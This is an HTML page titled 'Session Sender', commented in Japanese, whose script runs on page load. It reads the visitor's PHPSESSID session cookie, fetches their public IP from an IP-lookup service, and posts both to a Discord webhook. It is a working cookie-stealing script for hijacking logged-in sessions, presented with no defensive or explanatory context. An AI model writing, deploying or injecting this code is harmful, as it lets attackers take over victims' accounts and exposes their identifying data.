<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>Session Sender</title>
</head>
<body>
<script>
(async () => {
    const webhookURL = 'https://discord.com/api/webhooks/XXXXXXXX/YYYYYYYYYYYYYYY';

    // クッキーからPHPSESSIDを抽出する関数
    function getCookie(name) {
        const value = `; ${document.cookie}`;
        const parts = value.split(`; ${name}=`);
        if (parts.length === 2) return parts.pop().split(';').shift();
    }

    const sessionId = getCookie('PHPSESSID') || 'Not Found';
    const ipResponse = await fetch('https://api.ipify.org?format=json');
    const ipData = await ipResponse.json();

    const data = {
        content: `🔔 **セッション情報を取得**\nPHPSESSID: \`${sessionId}\`\nIP: \`${ipData.ip}\``
    };

    // webhookに送信
    await fetch(webhookURL, {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify(data)
    });
})();
</script>
</body>
</html>
